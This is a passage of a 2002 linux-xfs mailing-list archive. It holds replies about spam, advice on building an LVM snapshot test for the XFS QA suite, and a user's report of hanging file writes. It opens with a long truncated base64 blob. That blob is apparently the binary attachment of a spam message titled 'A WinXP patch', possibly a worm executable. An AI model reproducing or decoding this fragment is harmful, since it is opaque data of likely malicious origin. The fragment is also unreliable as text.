qBIAgBwAAADAEgCAHQAAANgSAIAeAAAA8BIAgB8AAAAIEwCAIAAAACATAIAhAAAAOBMAgCIA AABQEwCAIwAAAGgTAIAkAAAAgBMAgCUAAACYEwCAJgAAALATAIAnAAAAyBMAgCgAAADgEwCA KQAAAPgTAIAqAAAAEBQAgCsAAAAoFACALAAAAEAUAIAtAAAAWBQAgC4AAABwFACALwAAAIgU AIAwAAAAoBQAgDEAAAC4FACAMgAAANAUAIAzAAAA6BQAgDQAAAAAFQCANQAAABgVAIA2AAAA MBUAgDcAAABIFQCAOAAAAGAVAIA5AAAAeBUAgDoAAACQFQCAOwAAAKgVAIA8AAAAwBUAgD0A AADYFQCAPgAAAPAVAIA/AAAACBYAgEAAAAAgFgCAQQAAADgWAIBCAAAAUBYAgEMAAABoFgCA RAAAAIAWAIBFAAAAmBYAgEYAAACwFgCARwAAAMgWAIBIAAAA4BYAgEkAAAD4FgCASgAAABAX AIBLAAAAKBcAgEwAAABAFwCATQAAAFgXAIBOAAAAcBcAgE8AAACIFwCAUAAAAKAXAIBRAAAA uBcAgFIAAADQFwCAUwAAAOgXAIBUAAAAABgAgFUAAAAYGACAVgAAADAYAIBXAAAASBgAgFgA AABgGACAWQAAAHgYAIBaAAAAkBgAgFsAAACoGACAAAAAAAAAAAAAAAAAAAABAMQJAADAGACA AAAAAAAAAAAAAAAAAAAdAAEAAADYGACAAgAAAPAYAIADAAAACBkAgAQAAAAgGQCAZAAAADgZ AIBlAAAAUBkAgMgAAABoGQCAyQAAAIAZAIDKAAAAmBkAgMsAAACwGQCAzAAAAMgZAIDNAAAA 4BkAgM4AAAD4GQCAzwAAABAaAIDQAAAAKBoAgNEAAABAGgCA0gAAAFgaAIDTAAAAcBoAgNkA AACIGgCA2wAAAKAaAIDcAAAAuBoAgN0AAADQGgCA3gAAAOgaAIDfAAAAABsAgOAAAAAYGwCA 4QAAADAbAIAIAQAASBsAgC0BAABgGwCALgEAAHgbAIAAAAAAAAAAAAAAAAAAAAEAAQAAAJAb AIAAAAAAAAAAAAAAAAAAAAEACQQAAKgbAAAAAAAAAAAAAAAAAAAAAAEACQQAALgbAAAAAAAA AAAAAAAAAAAAAAEACQQAAMgbAAAAAAAAAAAAAAAAAAAAAAEACQQAANgbAAAAAAAAAAAAAAAA AAAAAAEACQQAAOgbAAAAAAAAAAAAAAAAAAAAAAEACQQAAPgbAAAAAAAAAAAAAAAAAAAAAAEA CQQAAAgcAAAAAAAAAAAAAAAAAAAAAAEACQQAABgcAAAAAAAAAAAAAAAAAAAAAAEACQQAACgc AAAAAAAAAAAAAAAAAAAAAAEACQQAADgcAAAAAAAAAAAAAAAAAAAAAAEACQQAAEgcAAAAAAAA AAAAAAAAAAAAAAEACQQAAFgcAAAAAAAAAAAAAAAAAAAAAAEACQQAAGgcAAAAAAAAAAAAAAAA AAAAAAEACQQAAHgcAAAAAAAAAAAAAAAAAAAAAAEACQQAAIgcAAAAAAAAAAAAAAAAAAAAAAEA CQQAAJgcAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgcAAAAAAAAAAAAAAAAAAAAAAEACQQAALgc AAAAAAAAAAAAAAAAAAAAAAEACQQAAMgcAAAAAAAAAAAAAAAAAAAAAAEACQQAANgcAAAAAAAA AAAAAAAAAAAAAAEACQQAAOgcAAAAAAAAAAAAAAAAAAAAAAEACQQAAPgcAAAAAAAAAAAAAAAA AAAAAAEACQQAAAgdAAAAAAAAAAAAAAAAAAAAAAEACQQAABgdAAAAAAAAAAAAAAAAAAAAAAEA CQQAACgdAAAAAAAAAAAAAAAAAAAAAAEACQQAADgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAEgd AAAAAAAAAAAAAAAAAAAAAAEACQQAAFgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAGgdAAAAAAAA AAAAAAAAAAAAAAEACQQAAHgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAIgdAAAAAAAAAAAAAAAA AAAAAAEACQQAAJgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgdAAAAAAAAAAAAAAAAAAAAAAEA CQQAALgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAMgdAAAAAAAAAAAAAAAAAAAAAAEACQQAANgd AAAAAAAAAAAAAAAAAAAAAAEACQQAAOgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAPgdAAAAAAAA AAAAAAAAAAAAAAEACQQAAAgeAAAAAAAAAAAAAAAAAAAAAAEACQQAABgeAAAAAAAAAAAAAAAA AAAAAAEACQQAACgeAAAAAAAAAAAAAAAAAAAAAAEACQQAADgeAAAAAAAAAAAAAAAAAAAAAAEA CQQAAEgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAFgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAGge AAAAAAAAAAAAAAAAAAAAAAEACQQAAHgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAIgeAAAAAAAA AAAAAAAAAAAAAAEACQQAAJgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgeAAAAAAAAAAAAAAAA AAAAAAEACQQAALgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAMgeAAAAAAAAAAAAAAAAAAAAAAEA CQQAANgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAOgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAPge AAAAAAAAAAAAAAAAAAAAAAEACQQAAAgfAAAAAAAAAAAAAAAAAAAAAAEACQQAABgfAAAAAAAA AAAAAAAAAAAAAAEACQQAACgfAAAAAAAAAAAAAAAAAAAAAAEACQQAADgfAAAAAAAAAAAAAAAA AAAAAAEACQQAAEgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAFgfAAAAAAAAAAAAAAAAAAAAAAEA CQQAAGgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAHgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAIgf AAAAAAAAAAAAAAAAAAAAAAEACQQAAJgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgfAAAAAAAA AAAAAAAAAAAAAAEACQQAALgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAMgfAAAAAAAAAAAAAAAA AAAAAAEACQQAANgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAOgfAAAAAAAAAAAAAAAAAAAAAAEA CQQAAPgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAAggAAAAAAAAAAAAAAAAAAAAAAEACQQAABgg AAAAAAAAAAAAAAAAAAAAAAEACQQAACggAAAAAAAAAAAAAAAAAAAAAAEACQQAADggAAAAAAAA AAAAAAAAAAAAAAEACQQAAEggAAAAAAAAAAAAAAAAAAAAAAEACQQAAFggAAAAAAAAAAAAAAAA AAAAAAEACQQAAGggAAAAAAAAAAAAAAAAAAAAAAEACQQAAHggAAAAAAAAAAAAAAAAAAAAAAEA CQQAAIggAAAAAAAAAAAAAAAAAAAAAAEACQQAAJggAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgg AAAAAAAAAAAAAAAAAAAAAAEACQQAALggAAAAAAAAAAAAAAAAAAAAAAEACQQAAMggAAAAAAAA AAAAAAAAAAAAAAEACQQAANggAAAAAAAAAAAAAAAAAAAAAAEACQQAAOggAAAAAAAAAAAAAAAA AAAAAAEACQQAAPggAAAAAAAAAAAAAAAAAAAAAAEACQQAAAghAAAAAAAAAAAAAAAAAAAAAAEA CQQAABghAAAAAAAAAAAAAAAAAAAAAAEACQQAACghAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=9 --Boundary_(ID_okm16FDl6+D1glszK+CPfw)-- From owner-linux-xfs@oss.sgi.com Sun Aug 25 22:53:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 25 Aug 2002 22:53:03 -0700 (PDT) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7Q5r19D011213 for ; Sun, 25 Aug 2002 22:53:01 -0700 Received: from erbenson.alaska.net (171-pm15.nwc.alaska.net [209.112.141.171]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7Q5uMtt086937 for ; Sun, 25 Aug 2002 21:56:22 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 3210F3A0B for ; Sun, 25 Aug 2002 21:56:21 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 5036B10294; Sun, 25 Aug 2002 21:56:21 -0800 (AKDT) Date: Sun, 25 Aug 2002 21:56:21 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: A WinXP patch Message-ID: <20020825215621.A27447@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <0H1F001R8RPBXF@mtaout04.icomcast.net> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <0H1F001R8RPBXF@mtaout04.icomcast.net>; from webmaster@fatlaneonline.com on Mon, Aug 26, 2002 at 01:39:11AM -0400 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. Content-Transfer-Encoding: 8bit X-archive-position: 10 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs On Mon, Aug 26, 2002 at 01:39:11AM -0400, webmaster wrote: blah can't the new listserver run mail through spamassassin like the old setup did? -- Ethan Benson http://www.alaska.net/~erbenson/ -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1pwwUACgkQJKx7GixEevziSwCdEpZKt3qGk6z6hna1v2fJZnPB WOYAoJdP1/Pn9iErDtNFN0pJyQtS0VDs =7/JN -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Mon Aug 26 00:14:43 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 00:14:45 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7Q7Eg9D016184 for ; Mon, 26 Aug 2002 00:14:43 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id AAA03160 for ; Mon, 26 Aug 2002 00:18:03 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA23667; Mon, 26 Aug 2002 17:16:43 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7Q7GUsi002242; Mon, 26 Aug 2002 17:16:30 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7Q7GSUA002240; Mon, 26 Aug 2002 17:16:28 +1000 Date: Mon, 26 Aug 2002 17:16:28 +1000 From: Nathan Scott To: Greg Freemyer , Steve Lord Cc: linux-xfs@oss.sgi.com Subject: Re: re[4]: Summary - Snapshot Effort Message-ID: <20020826071628.GA447@frodo> References: <20020823163106.YRXD23893.imf17bis.bellsouth.net@TAZ2> <1030121819.6630.66.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1030121819.6630.66.camel@jen.americas.sgi.com> User-Agent: Mutt/1.4i Content-Transfer-Encoding: 8bit X-archive-position: 11 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs hi, On Fri, Aug 23, 2002 at 11:56:59AM -0500, Steve Lord wrote: > On Fri, 2002-08-23 at 11:28, Greg Freemyer wrote: > > I will download the whole set and first verify the test system runs on my system, then try to put together a new test for snapshots. > > > > The readme talks about the user providing 2 partitions, one with xfs on it, and one scratch. > > > > I assume I should use the scratch partition to build a lvm structure on, then format it with xfs. Yes, sounds like the right approach. > > One high level question, at the start of the test I assume I should check for the correct installation of LVM and error out if it is not available. See the _notrun shell function and how some other tests use it. > > Is that a reasonable behavior? > > Yep, as you can see there are several tests which will skip execution if > certain features are not available. Probably testing the kernel for lvm > support (after attempting to load the module) would be a good thing. > > > > > Even higher level, as I have questions, should I ask them on the list, or is there a QA person there I should e-mail directly. > > > > Well, you can ask on the list, or ask Nathan Scott (nathans@sgi.com), he Fire away if need be Greg & I'll try to help. Of the current tests (which can be setup to run every night using the top of tree code with the "auto-qa" script), test 064 seems to have a timing problem which noone has has a chance to investigate yet (looks like an issue with the test), so you can expect that one to fail. And I also think Steve sees 021 fail on his box - I don't have that failure though, and I suspect a problem in the test or the sed/awk/... shell tools from that particular distribution. Have fun. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Mon Aug 26 00:40:35 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 00:40:37 -0700 (PDT) Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7Q7eX9D016377 for ; Mon, 26 Aug 2002 00:40:34 -0700 Received: (qmail 28427 invoked by uid 0); 26 Aug 2002 07:43:51 -0000 Date: Mon, 26 Aug 2002 09:43:50 +0200 (MEST) From: johncoltrane39@gmx.de To: linux-xfs@oss.sgi.com MIME-Version: 1.0 Subject: hanging when mounting X-Priority: 3 (Normal) X-Authenticated-Sender: #0012433339@gmx.net X-Authenticated-IP: [193.158.59.4] Message-ID: <7728.1030347830@www8.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 12 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: johncoltrane39@gmx.de Precedence: bulk X-list: linux-xfs Dear list, as far as this is a public available ML my name is Gerd, not John ;-) My system has a vanilla 2.4.19 kernel with the appropriate patch patched in without probs. Kernel compilation using gcc 2.95-2 was problemless, as it was often before. The last kernel I used for a longer time without probs was 2.4.16. I always compile XFS as a module, without any debugging. I have 3 partitions type xfs: extra, xfs, depot. All 3 have been accessible with 2.4.19 without probs for one or two weeks or so, now 2 seem to be corrupt. They are mountable, I can see it's content, but when a want to copy a file or create a new one say with touch, this session hangs, I could only kill the window (a kill -9 to the touch or cp or a ctrl-c does not work). My system is a single processor, all hardware is the same as with 2.4.16, disks are SCSI with a Tekram hostadapter, no LVM, no RAID. This is my first problem regarding XFS since 1.0.0. I have seen no message in /var/log/messages or elsewhere. After reading the FAQ and some browsing in the ML archive I decided to do whats written in the FAQ, to send a mail to the ML ;-) I also decided to update to the recent xfsprogs 2.0.3 from the ftp server this evening and to give xfs_repair a try. I cannot imagine what has happened to the xfs partitions, in my view it seems related to the update to the 2.4.19, but going back to the painless 2.4.16 didn't help. In the moment I read in the FAQ that gcc 2.95-2 should not be used, may be I should update to 2.95-3, what's recommended in the FAQ Any further suggestions ? -Gerd -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From owner-linux-xfs@oss.sgi.com Mon Aug 26 02:16:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 02:17:00 -0700 (PDT) Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7Q9Gs9D017390 for ; Mon, 26 Aug 2002 02:16:55 -0700 